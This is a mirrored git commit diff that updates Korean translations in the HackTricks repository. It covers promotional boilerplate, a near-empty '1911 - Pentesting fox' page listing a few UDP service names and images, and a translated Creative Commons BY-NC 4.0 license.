mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md
This commit is contained in:
parent
ae26410bd9
commit
dfaba89cc8
94 changed files with 3071 additions and 3902 deletions
|
@ -1,20 +1,21 @@
|
|||
# 1911 - Pentesting fox
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
그리고 더 많은 서비스:
|
||||
And more services:
|
||||
|
||||
ubiquiti-discover udp "Ubiquiti Networks Device"
|
||||
|
||||
|
@ -24,4 +25,31 @@ dht udp "DHT Nodes"
|
|||
|
||||
![](<.gitbook/assets/image (273).png>)
|
||||
|
||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
|
||||
![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
![](<.gitbook/assets/image (337).png>)
|
||||
|
||||
![](<.gitbook/assets/image (338).png>)
|
||||
|
||||
![](<.gitbook/assets/image (339).png>)
|
||||
|
||||
![](<.gitbook/assets/image (340).png>)
|
||||
|
||||
![](<.gitbook/assets/image (341).png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
184
LICENSE.md
184
LICENSE.md
|
@ -1,22 +1,23 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="크리에이티브 커먼즈 라이선스" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>저작권 © Carlos Polop 2021. (책에 복사된 외부 정보는 원래 저작자에게 속합니다.) Carlos Polop의 <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a>의 텍스트는 <a href="https://creativecommons.org/licenses/by-nc/4.0/">크리에이티브 커먼즈 저작자표시-비영리 4.0 국제 라이선스</a>에 따라 라이선스가 부여됩니다.
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="크리에이티브 커먼즈 라이선스" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>저작권 © Carlos Polop 2021. 별도로 명시된 경우를 제외하고(책에 복사된 외부 정보는 원저작자에게 속함), Carlos Polop의 <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a>의 텍스트는 <a href="https://creativecommons.org/licenses/by-nc/4.0/">크리에이티브 커먼즈 저작자표시-비영리 4.0 국제 라이선스(CC BY-NC 4.0)</a>에 따라 라이선스가 부여됩니다.
|
||||
|
||||
라이선스: 저작자표시-비영리 4.0 국제<br>
|
||||
사람이 읽을 수 있는 라이선스: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
라이선스: 저작자표시-비영리 4.0 국제(CC BY-NC 4.0)<br>
|
||||
사람이 읽기 쉬운 라이선스: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
전체 법적 약관: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
|
||||
서식: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
|
||||
|
@ -24,118 +25,173 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
# 저작자표시-비영리 4.0 국제
|
||||
|
||||
크리에이티브 커먼즈 코퍼레이션("크리에이티브 커먼즈")은 법률 사무소가 아니며 법률 서비스나 법률 상담을 제공하지 않습니다. 크리에이티브 커먼즈의 공개 라이선스 배포는 변호사-의뢰인 또는 기타 관계를 형성하지 않습니다. 크리에이티브 커먼즈는 라이선스와 관련된 정보를 "있는 그대로" 제공합니다. 크리에이티브 커먼즈는 라이선스, 해당 조건에 따라 라이선스된 자료 또는 관련 정보에 대해 어떠한 보증도 제공하지 않습니다. 크리에이티브 커먼즈는 그 사용으로 인한 손해에 대해 최대한의 책임을 부인합니다.
|
||||
크리에이티브 커먼즈 협회("크리에이티브 커먼즈")는 법률 사무소가 아니며 법률 서비스나 법률 상담을 제공하지 않습니다. 크리에이티브 커먼즈의 공개 라이선스 배포는 변호사-의뢰인 또는 기타 관계를 생성하지 않습니다. 크리에이티브 커먼즈는 라이선스 및 관련 정보를 "있는 그대로" 제공합니다. 크리에이티브 커먼즈는 라이선스, 해당 조건에 따라 라이선스가 부여된 재료 또는 관련 정보에 대해 어떠한 보증도 제공하지 않습니다. 크리에이티브 커먼즈는 그들의 사용으로 인한 손해에 대해 최대한의 법적 책임을 부인합니다.
|
||||
|
||||
## 크리에이티브 커먼즈 공개 라이선스 사용
|
||||
|
||||
크리에이티브 커먼즈 공개 라이선스는 저작자와 기타 권리자가 저작권 및 특정 다른 권리에 따라 제한된 방식으로 원작 및 기타 저작물을 공유하기 위해 사용할 수 있는 표준 약관을 제공합니다. 다음 고려 사항은 정보 제공을 목적으로 하며, 철저하지 않으며, 라이선스의 일부가 아닙니다.
|
||||
크리에이티브 커먼즈 공개 라이선스는 창작물 및 저작권 및 특정 다른 권리에 따라 제한된 방식으로 자료를 공유할 수 있는 창작자 및 기타 권리 보유자가 사용할 수 있는 표준 약관 집합을 제공합니다. 다음 고려 사항은 정보 제공을 목적으로 하며, 철저하지 않으며 라이선스의 일부가 아닙니다.
|
||||
|
||||
* __라이선서를 위한 고려 사항:__ 공개 라이선스는 저작권 및 특정 다른 권리에 의해 제한되는 방식으로 자료를 사용할 수 있는 권한을 부여할 수 있는 권한을 가진 사람들이 사용하기 위해 고안되었습니다. 라이선스는 철회할 수 없습니다. 라이선서는 적용하기 전에 선택한 라이선스의 조건을 읽고 이해해야 합니다. 라이선서는 자료를 예상대로 공중에서 재사용할 수 있도록 하기 위해 라이선스를 적용하기 전에 필요한 모든 권리를 확보해야 합니다. 라이선서는 라이선스의 적용 대상이 아닌 자료를 명확하게 표시해야 합니다. 이에는 다른 CC-라이선스 자료 또는 저작권 예외 또는 제한을 적용한 자료가 포함됩니다. [라이선서를 위한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
* __라이선서를 위한 고려 사항:__ 우리의 공개 라이선스는 저작권 및 특정 다른 권리에 의해 제한된 방식으로 자료를 사용할 수 있는 권한이 있는 사람들이 사용하도록 의도되었습니다. 우리의 라이선스는 철회할 수 없습니다. 라이선서는 적용할 라이선스의 조건을 선택하기 전에 해당 라이선스의 조건을 읽고 이해해야 합니다. 라이선서는 자료를 재사용할 수 있도록 예상대로 모든 필요한 권리를 확보해야 합니다. 라이선서는 라이선스가 적용되지 않는 모든 자료를 명확하게 표시해야 합니다. 이는 다른 CC-라이선스 자료 또는 저작권 예외 또는 제한을 포함합니다. [라이선서를 위한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
|
||||
* __일반인을 위한 고려 사항:__ 공개 라이선스 중 하나를 사용함으로써 라이선서는 특정 조건과 조건에 따라 라이선스된 자료를 사용할 권한을 대줍니다. 라이선서의 허가가 필요하지 않은 경우(예: 저작권 예외 또는 제한 때문에) 해당 사용은 라이선스에 의해 규제되지 않습니다. 라이선스는 라이선서가 권한을 부여할 수 있는 저작권 및 특정 다른 권리에 대한 권한만 부여합니다. 라이선스된 자료의 사용은 여전히 다른 이유로 제한될 수 있습니다. 이는 다른 사람이 해당 자료에 저작권 또는 기타 권리를 가지고 있기 때문일 수 있습니다. 라이선서는 모든 변경 사항을 표시하거나 설명할 것을 요청할 수 있습니다. 라이선스에서 요구하지 않지만 합리적인 경우 해당 요청을 존중하는 것이 좋습니다. [일반인을 위한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
* __대중을 위한 고려 사항:__ 우리의 공개 라이선스 중 하나를 사용함으로써 라이선서는 특정 조건에 따라 라이선스된 자료를 대중에게 제공할 권한을 부여합니다. 라이선서의 허가가 필요하지 않은 경우가 있는 이유로 인해(예를 들어, 저작권의 적용 예외 또는 제한 때문) 해당 사용은 라이선스에 의해 규제되지 않습니다. 우리의 라이선스는 라이선서가 부여할 권한에 대해서만 권한을 부여합니다. 라이선스된 자료의 사용은 여전히 다른 이유로 제한될 수 있습니다. 다른 사람이 자료에 저작권 또는 다른 권리를 가지고 있기 때문일 수도 있습니다. 라이선서는 모든 변경 사항이 표시되거나 설명되도록 요청할 수 있습니다. 라이선스에 의해 요구되지는 않지만 합리적인 경우 해당 요청을 존중할 것을 권장합니다. [대중을 위한 추가 고려 사항](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
|
||||
# 크리에이티브 커먼즈 저작자표시-비영리 4.0 국제 공개 라이선스
|
||||
|
||||
라이선스 권리(아래 정의)를 행사함으로써 여러분은 이 크리에이티브 커먼즈 저작자표시-비영리 4.0 국제 공개 라이선스("공개 라이선스")의 조건
|
||||
## 섹션 2 - 범위.
|
||||
라이선스 권리(아래 정의됨)를 행사함으로써, 이용자는 본 크리에이티브 커먼즈 저작자표시-비영리 4.0 국제 공개 라이선스("공개 라이선스")의 조건에 따라 묶여 있음을 받아들이고 동의합니다. 본 공개 라이선스가 계약으로 해석될 수 있는 범위에 따라, 귀하는 이러한 조건을 수락함으로써 라이선서가 이러한 조건에 따라 라이선스 자료를 제공함으로써 얻는 혜택을 고려하여 라이선스 권리를 부여받습니다.
|
||||
|
||||
## 섹션 1 – 정의.
|
||||
|
||||
a. __적응된 자료__는 라이선서가 보유한 저작권 및 유사한 권리에 따라 허가가 필요한 방식으로 번역, 변경, 배열, 변형 또는 기타 방식으로 수정된 라이선스 자료에서 파생되거나 기반을 둔 저작권 및 유사한 권리에 대한 자료를 의미합니다. 본 공개 라이선스의 경우, 라이선스 자료가 음악 작품, 공연 또는 음향 녹음인 경우, 적응된 자료는 항상 라이선스 자료가 움직이는 이미지와 시간적 관계로 동기화될 때 생성됩니다.
|
||||
|
||||
b. __적응자의 라이선스__는 이 공개 라이선스의 조건에 따라 적응된 자료에 대한 귀하의 저작권 및 유사한 권리에 적용하는 라이선스를 의미합니다.
|
||||
|
||||
c. __저작권 및 유사한 권리__는 저작권과 관련이 깊게 있는 유사한 권리인 저작권, 공연, 방송, 음향 녹음 및 Sui Generis 데이터베이스 권리를 의미하며, 이 권리가 어떻게 레이블이나 분류되었는지에 관계없이 해당합니다. 본 공개 라이선스의 경우, 섹션 2(b)(1)-(2)에 명시된 권리는 저작권 및 유사한 권리가 아닙니다.
|
||||
|
||||
d. __효과적인 기술적 조치__는 적절한 권한이 없는 경우 우회할 수 없는 조치를 의미합니다. 이는 1996년 12월 20일에 채택된 WIPO 저작권 협약 제11조의 의무를 이행하는 법률에 따라 우회할 수 없는 조치입니다.
|
||||
|
||||
e. __예외 및 제한__은 합리적 사용, 합리적 거래 및/또는 라이선스 자료 사용에 적용되는 다른 예외 또는 제한을 의미합니다.
|
||||
|
||||
f. __라이선스 자료__는 라이선서가 이 공개 라이선스를 적용한 예술 작품, 문학 작품, 데이터베이스 또는 기타 자료를 의미합니다.
|
||||
|
||||
g. __라이선스 권리__는 라이선서가 라이선스 자료 사용에 적용되는 모든 저작권 및 유사한 권리에 대한 권리로서 라이선서가 라이선스를 부여할 권한이 있는 권리를 제한하는 이 공개 라이선스의 조건에 따라 귀하에게 부여된 권리를 의미합니다.
|
||||
|
||||
h. __라이선서__는 이 공개 라이선스에 따라 권리를 부여하는 개인 또는 단체를 의미합니다.
|
||||
|
||||
i. __비영리__는 주로 상업적 이점이나 금전적 보상을 목적으로 하지 않는 것을 의미합니다. 본 공개 라이선스의 경우, 디지털 파일 공유 또는 유사한 방법을 통해 라이선스 자료를 다른 저작권 및 유사한 권리에 따른 자료와 교환하는 경우, 교환과 관련하여 금전적 보상이 이루어지지 않는 한 비영리로 간주됩니다.
|
||||
|
||||
j. __공유__는 복제, 공개 표시, 공개 공연, 배포, 전파, 통신 또는 수입과 같이 라이선스 권리에 따라 허가가 필요한 모든 방법이나 과정을 통해 대중에게 자료를 제공하고, 대중이 자료에 접근할 수 있는 방법과 시간을 개인적으로 선택할 수 있는 방식으로 자료를 대중에게 제공하는 것을 의미합니다.
|
||||
|
||||
k. __Sui Generis 데이터베이스 권리__는 1996년 3월 11일에 수정 및/또는 후속으로 채택된 유럽 의회 및 이사회의 96/9/EC 지침에 따라 데이터베이스의 법적 보호로부터 발생하는 저작권 이외의 권리를 의미하며, 세계 어디에서나 본질적으로 동등한 권리를 포함합니다.
|
||||
|
||||
l. __당신__은 이 공개 라이선스에 따라 라이선스 권리를 행사하는 개인 또는 단체를 의미합니다. "당신의"는 해당 의미를 갖습니다.
|
||||
## 섹션 2 – 범위.
|
||||
|
||||
a. ___라이선스 부여.___
|
||||
|
||||
1. 이 공개 라이선스의 조건에 따라, 라이선서는 여러분에게 전 세계적으로 무료로, 비하위 라이선스 가능한, 배타적이지 않은, 철회할 수 없는 라이선스를 부여합니다. 여러분은 라이선스된 자료에 대한 라이선스 권한을 행사할 수 있습니다.
|
||||
1. 이 공개 라이선스의 조건에 따라, 라이선서는 허가자에게 라이선스 소재에서 라이선스 권리를 행사할 수 있는 전 세계적이고 무료이며, 재라이선스할 수 없는, 배타적이지 않은, 철회할 수 없는 라이선스를 부여합니다:
|
||||
|
||||
A. 비상업적 목적으로만 전체 또는 일부 라이선스 자료를 복제하고 공유할 수 있습니다.
|
||||
A. 비상업적 목적으로만 라이선스 소재를 전체 또는 일부 복제하고 공유하는 것; 그리고
|
||||
|
||||
B. 비상업적 목적으로 적응된 자료를 생성, 복제 및 공유할 수 있습니다.
|
||||
B. 비상업적 목적으로 적응된 소재를 생산, 복제 및 공유하는 것.
|
||||
|
||||
2. __예외와 제한사항.__ 명확히 하기 위해, 예외와 제한사항이 여러분의 사용에 적용되는 경우, 이 공개 라이선스는 적용되지 않으며, 여러분은 이의 조건을 준수할 필요가 없습니다.
|
||||
2. __예외 및 제한사항.__ 의심의 여지가 없는 경우, 예외 및 제한사항이 귀하의 사용에 적용되는 경우, 이 공개 라이선스는 적용되지 않으며 귀하는 그 조건을 준수할 필요가 없습니다.
|
||||
|
||||
3. __기간.__ 이 공개 라이선스의 기간은 섹션 6(a)에 명시되어 있습니다.
|
||||
|
||||
4. __미디어 및 형식; 기술적 수정 허용.__ 라이선서는 여러분이 알려진 미디어와 형식을 통해 라이선스 권한을 행사하고, 이를 위해 필요한 기술적 수정을 할 수 있도록 허용합니다. 라이선서는 여러분이 라이선스 권한을 행사하기 위해 필요한 기술적 수정, 즉 효과적인 기술적 조치를 우회하기 위한 기술적 수정을 금지하거나 어떠한 권리나 권한을 주장하지 않습니다. 이 공개 라이선스의 목적을 위해, 이 섹션 2(a)(4)에 따라 허용된 수정만으로는 적응된 자료가 생성되지 않습니다.
|
||||
4. __미디어 및 형식; 기술적 수정 허용.__ 라이선서는 귀하가 알려진 미디어 및 형식에서 라이선스 권리를 행사하고 앞으로 생성될 수 있는 모든 미디어 및 형식에서 기술적 수정을 수행할 수 있도록 허용합니다. 라이선서는 귀하가 기술적 수정을 수행하기 위해 필요한 기술적 수정을 우회하는 것을 금지하거나 주장하지 않기로 합니다. 이 공개 라이선스의 목적을 위해, 이 섹션 2(a)(4)에 의해 허가된 수정만으로 적응된 소재가 생성되지 않습니다.
|
||||
|
||||
5. __하류 수령인.__
|
||||
5. __하향식 수령인.__
|
||||
|
||||
A. __라이선서로부터의 제안 - 라이선스 자료.__ 라이선스 자료의 모든 수령인은 자동으로 이 공개 라이선스의 조건에 따라 라이선스 권한을 행사할 수 있는 제안을 라이선서로부터 받게 됩니다.
|
||||
A. __라이선서로부터의 제안 – 라이선스 소재.__ 라이선스 소재의 모든 수령인은 자동으로 라이선서로부터 이 공개 라이선스의 조건에 따라 라이선스 권리를 행사할 수 있는 제안을 받습니다.
|
||||
|
||||
B. __하류 제한 없음.__ 여러분은 라이선스 자료의 수령인이 라이선스 권한을 행사하는 것을 제한하는 추가적인 또는 다른 조건을 부과하거나 효과적인 기술적 조치를 적용해서는 안 됩니다.
|
||||
B. __하향식 제한 없음.__ 귀하는 라이선스 소재의 수령인 중 어느 누구의 라이선스 권리 행사를 제한하는 경우 추가적이거나 다른 조건을 제공하거나 적용하거나 효과적인 기술적 조치를 적용해서는 안 됩니다.
|
||||
|
||||
6. __지지 표시 없음.__ 이 공개 라이선스에는 라이선서나 다른 사람들이 섹션 3(a)(1)(A)(i)에서 제공된 속성을 받기로 지정된 다른 사람들과 연결되어 있거나, 후원되거나, 공식적인 지위가 부여된다는 것을 주장하거나 시사하는 권한이나 허가를 부여한다는 것을 의미하는 것은 아닙니다.
|
||||
6. __지지 없음.__ 이 공개 라이선스에 포함된 내용은 귀하가 라이선서나 다른 사람들이 섹션 3(a)(1)(A)(i)에서 제공된 속성을 받을 수 있도록 연결되어 있거나 후원, 지지 또는 공식적 지위를 부여받았다고 주장하거나 시사하는 데 허락 또는 시사할 수 있는 권한을 부여하지 않습니다.
|
||||
|
||||
b. ___기타 권리.___
|
||||
|
||||
1. 라이선스자의 도덕적 권리, 예를 들어 무결성 권리는 이 공개 라이선스에 따라 라이선스되지 않으며, 홍보, 개인 정보 보호 및/또는 기타 유사한 인격권도 라이선스되지 않습니다. 그러나 가능한 한 라이선서는 여러분이 라이선스 권한을 행사할 수 있도록 필요한 범위 내에서 해당 권리를 포기하거나 주장하지 않습니다.
|
||||
1. 도덕적 권리인 무결성 권리와 같은 권리는 이 공개 라이선스에 따라 라이선스되지 않으며, 홍보, 개인 정보 보호 및/또는 기타 유사한 인격권도 라이선스되지 않습니다. 그러나 라이선서는 라이선스 소재의 라이선스 권리를 행사할 수 있도록 귀하가 필요한 한도 내에서 해당 권리를 포기하거나 주장하지 않기로 합니다.
|
||||
|
||||
2. 특허 및 상표권은 이 공개 라이선스에 따라 라이선스되지 않습니다.
|
||||
2. 특허 및 상표 권리는 이 공개 라이선스에 따라 라이선스되지 않습니다.
|
||||
|
||||
3. 가능한 한 라이선서는 여러분이 비상업적 목적 이외의 용도로 라이선스 자료를 사용함에 따라 여러분으로부터 로열티를 징수하는 권리를 포기합니다. 이에는 자발적이거나 포기 가능한 법적 라이선싱 체계에 따라 징수 단체를 통해 직접적으로 또는 간접적으로 로열티를 징수하는 경우를 포함합니다. 다른 모든 경우에는 라이선서는 비상업적 목적 이외의 용도로 라이선스 자료가 사용될 때를 포함하여 이러한 로열티를 징수하기 위한 어떠한 권리도 명시적으로 보유합니다.
|
||||
3. 라이선서는 귀하가 비상업적 목적 이외의 용도로 라이선스 소재를 사용할 때 직접적으로 또는 의무적인 라이선스 체계에 따라 징수할 권리를 포기합니다. 다른 모든 경우에 라이선서는 비상업적 목적 이외의 용도로 라이선스 소재를 사용할 때 포함하여 귀하로부터 로열티를 징수할 권리를 명시적으로 보유합니다.
|
||||
|
||||
## 섹션 3 - 라이선스 조건.
|
||||
## 섹션 3 – 라이선스 조건.
|
||||
|
||||
라이선스 권한의 행사는 명시적으로 다음 조건에 따라야 합니다.
|
||||
라이선스 권리의 행사는 명시적으로 다음 조건에 따라 제한됩니다.
|
||||
|
||||
a. ___표시.___
|
||||
a. ___속성.___
|
||||
|
||||
1. 라이선스 자료를 공유할 경우 (수정된 형태로 포함), 다음을 유지해야 합니다:
|
||||
1. 라이선스 소재(수정된 형태로 포함)를 공유하는 경우, 다음을 유지해야 합니다:
|
||||
|
||||
A. 라이선서로부터 라이선스 자료와 함께 제공된 경우 다음을 유지해야 합니다:
|
||||
A. 라이선서가 라이선스 소재와 함께 제공한 경우:
|
||||
|
||||
i. 라이선스 자료의 창작자 및 속성을 받기로 지정된 다른 사람들의 식별, 라이선서가 요청한 합리적인 방법으로 (지정된 경우 익명으로) 포함합니다.
|
||||
